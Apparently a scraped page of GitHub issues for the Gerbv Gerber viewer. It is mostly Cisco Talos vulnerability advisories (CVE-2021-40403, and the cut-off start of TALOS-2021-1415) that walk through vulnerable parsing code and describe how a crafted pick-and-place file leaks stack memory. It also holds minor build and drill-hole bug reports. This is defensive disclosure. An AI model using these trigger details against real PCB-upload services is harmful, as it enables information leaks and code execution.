        snprintf (pnpPartData.footprint, sizeof(pnpPartData.footprint)-1, "%s", row[1]);
        snprintf (pnpPartData.layer, sizeof(pnpPartData.layer)-1, "%s", row[8]);
        if (row[10] != NULL) {
            if ( ! g_utf8_validate(row[10], -1, NULL)) {
                gchar * str = g_convert(row[10], strlen(row[10]), "UTF-8", "ISO-8859-1",
                                        NULL, NULL, NULL);
                // I have not decided yet whether it is better to use always
                // "ISO-8859-1" or current locale.
                // str = g_locale_to_utf8(row[10], -1, NULL, NULL, NULL);
                snprintf (pnpPartData.comment, sizeof(pnpPartData.comment)-1, "%s", str);
                g_free(str);
            } else {
                snprintf (pnpPartData.comment, sizeof(pnpPartData.comment)-1, "%s", row[10]);
            }
        }
        ...
        pnpPartData.mid_x = pick_and_place_get_float_unit(row[2], def_unit);
        pnpPartData.mid_y = pick_and_place_get_float_unit(row[3], def_unit);
        pnpPartData.ref_x = pick_and_place_get_float_unit(row[4], def_unit);
        pnpPartData.ref_y = pick_and_place_get_float_unit(row[5], def_unit);
        pnpPartData.pad_x = pick_and_place_get_float_unit(row[6], def_unit);
        pnpPartData.pad_y = pick_and_place_get_float_unit(row[7], def_unit);
        /* This line causes segfault if we accidently starts parsing 
         * a gerber file. It is crap crap crap */
        if (row[9])
            sscanf(row[9], "%lf", &pnpPartData.rotation); // no units, always deg      // [13]
    }
    /* for now, default back to PCB program format
     * TODO: implement better checking for format
     */
    else if (row[0] && row[1] && row[2] && row[3] && row[4] && row[5] && row[6]) {     // [12]
        snprintf (pnpPartData.designator, sizeof(pnpPartData.designator)-1, "%s", row[0]);
        snprintf (pnpPartData.footprint, sizeof(pnpPartData.footprint)-1, "%s", row[1]);                
        snprintf (pnpPartData.layer, sizeof(pnpPartData.layer)-1, "%s", row[6]);        
        pnpPartData.mid_x = pick_and_place_get_float_unit(row[3], def_unit);
        pnpPartData.mid_y = pick_and_place_get_float_unit(row[4], def_unit);
        pnpPartData.pad_x = pnpPartData.mid_x + 0.03;
        pnpPartData.pad_y = pnpPartData.mid_y + 0.03;
        sscanf(row[5], "%lf", &pnpPartData.rotation); // no units, always deg          // [13]
        /* check for coordinate sanity, and abort if it fails
         * Note: this is mainly to catch comment lines that get parsed
         */
        if ((fabs(pnpPartData.mid_x) < 0.001)&&(fabs(pnpPartData.mid_y) < 0.001)) {
            continue;                        
        }
    } else {
        continue;
    }
    ...
    

    At [11] and [12] we can notice that two different row formats are accepted: one with 7 fields, and one with at least 9 fields. The difference is minimal and the issue is the same in both: the sscanf at [13] is used to read the rotation and it may fail and not write anything to the destination buffer pnpPartData.rotation, which has not been initialized at the beginning of the function [5].

    sscanf returns the number of items matched and assigned, so in this case it should be equal to 1 when the scan succeeds.

    To make sscanf fail, it's enough to write an empty string or any non-numeric string in the rotation column. This way, pnpPartData.rotation will be left with an uninitialized value from the stack, which will be returned by this function and will later be used to draw the final image. An attacker able to read the resulting rendered image, might be able to extract (limited) memory contents by analyzing the object rotation in the rendered image.

    Crash Information

    # valgrind ./gerbv -x png -o out.png pick_and_place_rotation_uninit.min.xy                                                                                           
    ==863== Memcheck, a memory error detector
    ==863== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
    ==863== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
    ==863== Command: ./gerbv -x png -o out.png pick_and_place_rotation_uninit.min.xy
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x5319DD9: sin (s_sin.c:463)
    ==863==    by 0x158897: gerb_transf_rotate (pick-and-place.c:83)
    ==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x5319DEF: sin (s_sin.c:465)
    ==863==    by 0x158897: gerb_transf_rotate (pick-and-place.c:83)
    ==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x531B8A9: cos (s_sin.c:559)
    ==863==    by 0x1588AB: gerb_transf_rotate (pick-and-place.c:83)
    ==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x159587: pick_and_place_parse_file (pick-and-place.c:373)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x1595A7: pick_and_place_parse_file (pick-and-place.c:373)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    

    Credit

    Discovered by Claudio Bozzato of Cisco Talos.

    https://talosintelligence.com/vulnerability_reports/

    Timeline

    2021-11-24 - Vendor Disclosure
    None - Public Release

    opened by CiscoTalos 9
  • Remove deprecated gdk_pixbuf_new_from_inline

    Remove deprecated gdk_pixbuf_new_from_inline

    This is one of the warnings when compiling.

    This issue is a subtask of #45

    interface.c: In function ‘interface_create_gui’:
    interface.c:340:2: error: ‘gdk_pixbuf_new_from_inline’ is deprecated [-Werror=deprecated-declarations]
      pointerpixbuf = gdk_pixbuf_new_from_inline(-1, pointer, FALSE, NULL);
      ^~~~~~~~~~~~~
    In file included from /usr/include/gdk-pixbuf-2.0/gdk-pixbuf/gdk-pixbuf.h:34,
                     from /usr/include/gtk-2.0/gdk/gdkpixbuf.h:37,
                     from /usr/include/gtk-2.0/gdk/gdkcairo.h:28,
                     from /usr/include/gtk-2.0/gdk/gdk.h:33,
                     from /usr/include/gtk-2.0/gtk/gtk.h:32,
                     from gerbv.h:73,
                     from interface.c:29:
    /usr/include/gdk-pixbuf-2.0/gdk-pixbuf/gdk-pixbuf-core.h:362:12: note: declared here
     GdkPixbuf* gdk_pixbuf_new_from_inline (gint          data_length,
    
    opened by eyal0 9
  • Update supported platforms

    Update supported platforms

    The README.md very prominently lists platforms where gerbv once was build and tested. However those platforms are not currently covered by CI or manually verified.

    If there is no general objection I will go ahead and reflect this in the public documentation.

    opened by ooxi 9
  • Additional drill holes shown for a Zuken CADSTAR gerber output

    Additional drill holes shown for a Zuken CADSTAR gerber output

    A PCB with 3 non-plated drill holes and 3 plated drill holes was generated by Zuken Cadstar 18.0 and imported into Gerbv 2.8.3-dev~82d59a on Windows 10. The gerber output also shows only 3 holes for each file.

    The Autodetect feature was disabled with the drill files used, they were set to metric. Gerbv shows 5 plated and 5 non-plated drill holes.

    2022-03-01 13_58_22-gerbv_test2 pcb 2022-03-01 14_06_20-Gerbv — gEDA's Gerber Viewer

    DrillNonPlated.drl: M48 FMAT,2 T1C4.0000 % T1 X0050000 Y0250000 X0050000 Y0050000 X0250000 Y0250000 M30

    DrillPlated.drl: M48 FMAT,2 T1C2.2000 % T1 X0100000 Y0200000 X0100000 Y0100000 X0200000 Y0200000 M30

    cadstar_gerber_bug.zip

    opened by ma-bx 8
  • Fix CVE-2021-40403

    Fix CVE-2021-40403

    TALOS-2021-1417 CVE-2021-40403

    Gerbv pick-and-place rotation parsing use of uninitialized variable vulnerability

    Summary

    An information disclosure vulnerability exists in the pick-and-place rotation parsing functionality of Gerbv 2.7.0 and dev (commit b5f1eacd), and Gerbv forked 2.8.0. A specially-crafted pick-and-place file can exploit the missing initialization of a structure to leak memory contents. An attacker can provide a malicious file to trigger this vulnerability.

    Tested Versions

    Gerbv 2.7.0 Gerbv forked 2.8.0 Gerbv dev (commit b5f1eacd)

    Product URLs

    https://sourceforge.net/projects/gerbv/

    CVSSv3 Score

    5.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

    CWE

    CWE-456 - Missing Initialization of a Variable

    Details

    Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

    Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

    Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the pick-and-place file-type.

    int
    gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                    gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
    {
        ...
        dprintf("In open_image, about to try opening filename = %s\n", filename);
    
        fd = gerb_fopen(filename);
        if (fd == NULL) {
            GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                            filename, strerror(errno));
            return -1;
        }
        ...
        } else if (pick_and_place_check_file_type(fd, &foundBinary)) {                              // [1]
            dprintf("Found pick-n-place file\n");
            if (!foundBinary || forceLoadFile) {
                    if (!reload) {
                            pick_and_place_parse_file_to_images(fd, &parsed_image, &parsed_image2); // [2]
        ...
    

    A file is considered of type "pick-and-place" if the function pick_and_place_check_file_type [1] returns true. When true, pick_and_place_parse_file_to_images is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an pick-and-place file:

    gboolean
    pick_and_place_check_file_type(gerb_file_t *fd, gboolean *returnFoundBinary)
    {
        ...
        while (fgets(buf, MAXL, fd->fd) != NULL) {
            len = strlen(buf);
    
            /* First look through the file for indications of its type */
    
            /* check for non-binary file */
            for (i = 0; i < len; i++) {                                             // [3]
                if (!isprint((int) buf[i]) && (buf[i] != '\r') &&
                    (buf[i] != '\n') && (buf[i] != '\t')) {
                    found_binary = TRUE;
                }
            }
            ...
            /* Semicolon can be separator too */
            if (g_strstr_len(buf, len, ";")) {
                found_comma = TRUE;
            }
    
            /* Look for refdes -- This is dumb, but what else can we do? */
            if ((letter = g_strstr_len(buf, len, "R")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after R */
                    found_R = TRUE;
                }
            }
            if ((letter = g_strstr_len(buf, len, "C")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after C */
                    found_C = TRUE;
                }
            }
            if ((letter = g_strstr_len(buf, len, "U")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after U */
                    found_U = TRUE;
                }
            }
    
            /* Look for board side indicator since this is required
             * by many vendors */
            if (g_strstr_len(buf, len, "top")) {
                found_boardside = TRUE;
            }
            if (g_strstr_len(buf, len, "Top")) {
                found_boardside = TRUE;
            }
            if (g_strstr_len(buf, len, "TOP")) {
                found_boardside = TRUE;
            }
            /* Also look for evidence of "Layer" in header.... */
            if (g_strstr_len(buf, len, "ayer")) {
                found_boardside = TRUE;
            }
            if (g_strstr_len(buf, len, "AYER")) {
                found_boardside = TRUE;
            }
    
        }
        ...
        if (found_comma && (found_R || found_C || found_U) &&               // [4]
            found_boardside)
            return TRUE;
    
        return FALSE;
    
    } /* pick_and_place_check_file_type */
    

    For an input to be considered a pick-and-place file, the file must first of all contain only printable characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal pick-and-place file is the following:

    # --------------------------------------------
    J2,"3 TERM BLOCK","DK ED1602-ND",1501.00,375.00,180,top
    

    Though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as a pick-and-place file, even though it will fail later checks in the execution flow:

    top,C0
    

    After a pick-and-place file has been recognized, pick_and_place_parse_file_to_images is called, which in turn calls pick_and_place_parse_file. This function parses the pick-and-place file line by line, for each line a PnpPartData structure is built and appended to an array which is eventually returned. Let's look at the code:

    GArray *
    pick_and_place_parse_file(gerb_file_t *fd)
    {
        PnpPartData   pnpPartData;                            // [5]
        int           lineCounter = 0, parsedLines = 0;
        int           ret;
        char          *row[12];                               // [6]
        char          buf[MAXL+2], buf0[MAXL+2];
        char          def_unit[41] = {0,};
        double        tmp_x, tmp_y;
        gerbv_transf_t *tr_rot = gerb_transf_new();
        GArray         *pnpParseDataArray = g_array_new (FALSE, FALSE, sizeof(PnpPartData));
        gboolean foundValidDataRow = FALSE;
        /* Unit declaration for "PcbXY Version 1.0" files as exported by pcb */
        const char *def_unit_prefix = "# X,Y in ";
        ...
    

    At [5] we see the pnpPartData declaration of type PnpPartData:

    typedef struct {
        char     designator[MAXL];
        char     footprint[MAXL];
        double   mid_x;
        double   mid_y;
        double   ref_x;
        double   ref_y;
        double   pad_x;
        double   pad_y;
        char     layer[MAXL]; /*T is top B is bottom*/
        double   rotation;
        char     comment[MAXL];
        int      shape;
        double   width;
        double   length;
        unsigned int nuf_push;  /* Nuf pushes to estimate stack size */
    } PnpPartData;
    

    At [6] we see the declaration for the row fields that are going to be populated. Note that the structure at [5] is not initialized.

    ...
    while ( fgets(buf, MAXL, fd->fd) != NULL ) {                                   // [7]
        int len = strlen(buf)-1;
        int i_length = 0, i_width = 0;
    
        lineCounter += 1; /*next line*/
        if(lineCounter < 2) {                                                      // [8]
            /*
             * TODO in principle column names could be read and interpreted
             * but we skip the first line with names of columns for this time
             */
            continue;
        }
        ...
        if (len <= 11)  {  //lets check a minimum length of 11                     // [9]
            continue;
        }
        ...
        ret = csv_row_parse(buf, MAXL,  buf0, MAXL, row, 11, ',',   CSV_QUOTES);   // [10]
    
        if (ret > 0) {
            foundValidDataRow = TRUE;
        } else {
            continue;
        }
    

    The code loops for each line [7] in the file. At [8] we can see that the first line is skipped as it's considered a header. At line [9] the code ensures that the line has a minimum size of 12 bytes. There are other sanitization checks but they are omitted since they're not relevant to this advisory.

    At [10] the line is parsed using the csv_row_parse. This is a function taken from the libmba package, which has been included in gerbv with some modifications. Basically each line is parsed as a CSV, using comma as a separator and allowing a maximum of 11 fields to be populated in the row variable. If the CSV parsing is successful, the loop code continues with the following:

    ...
    if (row[0] && row[8]) { // here could be some better check for the syntax          // [11]
        snprintf (pnpPartData.designator, sizeof(pnpPartData.designator)-1, "%s", row[0]);
        snprintf (pnpPartData.footprint, sizeof(pnpPartData.footprint)-1, "%s", row[1]);
        snprintf (pnpPartData.layer, sizeof(pnpPartData.layer)-1, "%s", row[8]);
        if (row[10] != NULL) {
            if ( ! g_utf8_validate(row[10], -1, NULL)) {
                gchar * str = g_convert(row[10], strlen(row[10]), "UTF-8", "ISO-8859-1",
                                        NULL, NULL, NULL);
                // I have not decided yet whether it is better to use always
                // "ISO-8859-1" or current locale.
                // str = g_locale_to_utf8(row[10], -1, NULL, NULL, NULL);
                snprintf (pnpPartData.comment, sizeof(pnpPartData.comment)-1, "%s", str);
                g_free(str);
            } else {
                snprintf (pnpPartData.comment, sizeof(pnpPartData.comment)-1, "%s", row[10]);
            }
        }
        ...
        pnpPartData.mid_x = pick_and_place_get_float_unit(row[2], def_unit);
        pnpPartData.mid_y = pick_and_place_get_float_unit(row[3], def_unit);
        pnpPartData.ref_x = pick_and_place_get_float_unit(row[4], def_unit);
        pnpPartData.ref_y = pick_and_place_get_float_unit(row[5], def_unit);
        pnpPartData.pad_x = pick_and_place_get_float_unit(row[6], def_unit);
        pnpPartData.pad_y = pick_and_place_get_float_unit(row[7], def_unit);
        /* This line causes segfault if we accidently starts parsing
         * a gerber file. It is crap crap crap */
        if (row[9])
            sscanf(row[9], "%lf", &pnpPartData.rotation); // no units, always deg      // [13]
    }
    /* for now, default back to PCB program format
     * TODO: implement better checking for format
     */
    else if (row[0] && row[1] && row[2] && row[3] && row[4] && row[5] && row[6]) {     // [12]
        snprintf (pnpPartData.designator, sizeof(pnpPartData.designator)-1, "%s", row[0]);
        snprintf (pnpPartData.footprint, sizeof(pnpPartData.footprint)-1, "%s", row[1]);
        snprintf (pnpPartData.layer, sizeof(pnpPartData.layer)-1, "%s", row[6]);
        pnpPartData.mid_x = pick_and_place_get_float_unit(row[3], def_unit);
        pnpPartData.mid_y = pick_and_place_get_float_unit(row[4], def_unit);
        pnpPartData.pad_x = pnpPartData.mid_x + 0.03;
        pnpPartData.pad_y = pnpPartData.mid_y + 0.03;
        sscanf(row[5], "%lf", &pnpPartData.rotation); // no units, always deg          // [13]
        /* check for coordinate sanity, and abort if it fails
         * Note: this is mainly to catch comment lines that get parsed
         */
        if ((fabs(pnpPartData.mid_x) < 0.001)&&(fabs(pnpPartData.mid_y) < 0.001)) {
            continue;
        }
    } else {
        continue;
    }
    ...
    

    At [11] and [12] we can notice that two different row formats are accepted: one with 7 fields, and one with at least 9 fields. The difference is minimal and the issue is the same in both: the sscanf at [13] is used to read the rotation and it may fail and not write anything to the destination buffer pnpPartData.rotation, which has not been initialized at the beginning of the function [5].

    sscanf returns the number of items matched and assigned, so in this case it should be equal to 1 when the scan succeeds.

    To make sscanf fail, it's enough to write an empty string or any non-numeric string in the rotation column. This way, pnpPartData.rotation will be left with an uninitialized value from the stack, which will be returned by this function and will later be used to draw the final image. An attacker able to read the resulting rendered image, might be able to extract (limited) memory contents by analyzing the object rotation in the rendered image.

    Crash Information

    # valgrind ./gerbv -x png -o out.png pick_and_place_rotation_uninit.min.xy
    ==863== Memcheck, a memory error detector
    ==863== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
    ==863== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
    ==863== Command: ./gerbv -x png -o out.png pick_and_place_rotation_uninit.min.xy
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x5319DD9: sin (s_sin.c:463)
    ==863==    by 0x158897: gerb_transf_rotate (pick-and-place.c:83)
    ==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x5319DEF: sin (s_sin.c:465)
    ==863==    by 0x158897: gerb_transf_rotate (pick-and-place.c:83)
    ==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x531B8A9: cos (s_sin.c:559)
    ==863==    by 0x1588AB: gerb_transf_rotate (pick-and-place.c:83)
    ==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x159587: pick_and_place_parse_file (pick-and-place.c:373)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    ==863== Conditional jump or move depends on uninitialised value(s)
    ==863==    at 0x1595A7: pick_and_place_parse_file (pick-and-place.c:373)
    ==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
    ==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
    ==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
    ==863==    by 0x12D6C9: main (main.c:932)
    ==863==
    

    Credit

    Discovered by Claudio Bozzato of Cisco Talos.

    https://talosintelligence.com/vulnerability_reports/

    Timeline

    2021-11-24 - Vendor Disclosure None - Public Release

    opened by ooxi 8
  • libgerbv.pc version doesn't match

    libgerbv.pc version doesn't match

    https://github.com/pcb2gcode/pcb2gcode/issues/626#issuecomment-1226755727

    Could this be caused by this new gerbv? The problem starts around the same time as this repo...

    opened by eyal0 7
  • Secrurity Advisory (TALOS-2021-1415)

    Secrurity Advisory (TALOS-2021-1415)

    Gerbv RS-274X aperture definition tokenization use-after-free vulnerability

    Summary

    A use-after-free vulnerability exists in the RS-274X aperture definition tokenization functionality of Gerbv 2.7.0 and dev (commit b5f1eacd) and Gerbv forked 2.7.1. A specially-crafted gerber file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

    Tested Versions

    Gerbv 2.7.0
    Gerbv forked 2.7.1
    Gerbv dev (commit b5f1eacd)

    Product URLs

    https://sourceforge.net/projects/gerbv/

    CVSSv3 Score

    10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H

    CWE

    CWE-252 - Unchecked Return Value

    Details

    Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

    Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

    Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

    int
    gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                    gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
    {
        ...        
        dprintf("In open_image, about to try opening filename = %s\n", filename);
        
        fd = gerb_fopen(filename);
        if (fd == NULL) {
            GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                            filename, strerror(errno));
            return -1;
        }
        ...
        if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
            dprintf("Found RS-274X file\n");
            if (!foundBinary || forceLoadFile) {
                    /* figure out the directory path in case parse_gerb needs to
                     * load any include files */
                    gchar *currentLoadDirectory = g_path_get_dirname (filename);
                    parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                    g_free (currentLoadDirectory);
            }
        }
        ...
    

    A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, the parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

    gboolean
    gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
    {
        ...
        while (fgets(buf, MAXL, fd->fd) != NULL) {
            dprintf ("buf = \"%s\"\n", buf);
            len = strlen(buf);
        
            /* First look through the file for indications of its type by
             * checking that file is not binary (non-printing chars and white 
             * spaces)
             */
            for (i = 0; i < len; i++) {                                             // [3]
                if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                    (buf[i] != '\n') && (buf[i] != '\t')) {
                    found_binary = TRUE;
                    dprintf ("found_binary (%d)\n", buf[i]);
                }
            }
            if (g_strstr_len(buf, len, "%ADD")) {
                found_ADD = TRUE;
                dprintf ("found_ADD\n");
            }
            if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
                found_D0 = TRUE;
                dprintf ("found_D0\n");
            }
            if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
                found_D2 = TRUE;
                dprintf ("found_D2\n");
            }
            if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
                found_M0 = TRUE;
                dprintf ("found_M0\n");
            }
            if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
                found_M2 = TRUE;
                dprintf ("found_M2\n");
            }
            if (g_strstr_len(buf, len, "*")) {
                found_star = TRUE;
                dprintf ("found_star\n");
            }
            /* look for X<number> or Y<number> */
            if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after X */
                    found_X = TRUE;
                    dprintf ("found_X\n");
                }
            }
            if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after Y */
                    found_Y = TRUE;
                    dprintf ("found_Y\n");
                }
            }
        }
        ...
        /* Now form logical expression determining if the file is RS-274X */
        if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
            found_ADD && found_star && (found_X || found_Y)) 
            return TRUE;
        
        return FALSE;
    
    } /* gerber_is_rs274x */
    

    For an input to be considered an RS-274X file, the file must first contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

    %FSLAX26Y26*%
    %MOMM*%
    %ADD100C,1.5*%
    D100*
    X0Y0D03*
    M02*
    

    Even though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

    %ADD0X0*
    

    After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

    gboolean
    gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                               gerb_state_t *state,        gerbv_net_t *curr_net, 
                               gerbv_stats_t *stats, gerb_file_t *fd, 
                               gchar *directoryPath)
    {
        ...
        while ((read = gerb_fgetc(fd)) != EOF) {
            ...
            case '%':
                dprintf("... Found %% code at line %ld\n", line_num);
                while (1) {
                        parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                    stats, directoryPath, &line_num);
    

    If our file starts with "%", we end up calling parse_rs274x:

    static void 
    parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
                 gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
                 gchar *directoryPath, long int *line_num_p)
    {
        ...
        switch (A2I(op[0], op[1])){
        ...
        case A2I('A','D'): /* Aperture Description */
            a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);
    
            ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [5]
            ...
            break;
        case A2I('A','M'): /* Aperture Macro */
            tmp_amacro = image->amacro;
            image->amacro = parse_aperture_macro(fd);
            if (image->amacro) {
                image->amacro->next = tmp_amacro;
            ...
    

    For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

    In summary, AM defines a "macro aperture template", which is, in other terms, a parameterized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows for arithmetic operations and variable definition. After a template has been defined, the AD command is used to instantiate the template and optionally passes some parameters to customize the shape.

    From the specification, this is the syntax of the AM command:

    <AM command>          = AM<Aperture macro name>*<Macro content>
    <Macro content>       = {{<Variable definition>*}{<Primitive>*}}
    <Variable definition> = $K=<Arithmetic expression>
    <Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
    <Modifier>            = $M|< Arithmetic expression>
    <Comment>             = 0 <Text>
    

    While this is the syntax for the AD command:

    <AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
    <Modifiers set> = <Modifier>{X<Modifier>}
    

    Before going on with the aperture parsing, let's look at a core function used throughout the codebase: gerb_fgetstring.

    char *
    gerb_fgetstring(gerb_file_t *fd, char term)
    {
        char *strend = NULL;
        char *newstr;
        char *i, *iend;
        int len;
    
        iend = fd->data + fd->datalen;
        for (i = fd->data + fd->ptr; i < iend; i++) {
            if (*i == term) {
                strend = i;
                break;
            }
        }
    
        if (strend == NULL)
            return NULL;
    
        len = strend - (fd->data + fd->ptr);
    
        newstr = (char *)g_malloc(len + 1);
        if (newstr == NULL)
            return NULL;
        strncpy(newstr, fd->data + fd->ptr, len);
        newstr[len] = '\0';
        fd->ptr += len;
    
        return newstr;
    } /* gerb_fgetstring */
    

    This function will return the a new string that covers from position fd->ptr up to the term character, and is returned as a new buffer allocated via g_malloc. This function however can also return NULL when g_malloc fails, or when the term character is not found from position fd->ptr to the end of the file. Clearly, all callers of this function should compare its return value against NULL and act accordingly.

    Keeping this requirement in mind, let's look at parse_aperture_definition [5] to see how an "aperture description" (AD) is parsed:

    static int 
    parse_aperture_definition(gerb_file_t *fd, gerbv_aperture_t *aperture,
                              gerbv_image_t *image, gdouble scale,
                              long int *line_num_p)
    {
        int ano, i;
        char *ad;
        char *token;
        gerbv_amacro_t *curr_amacro;
        gerbv_amacro_t *amacro = image->amacro;
        gerbv_error_list_t *error_list = image->gerbv_stats->error_list;
        gdouble tempHolder;
        
        if (gerb_fgetc(fd) != 'D') {
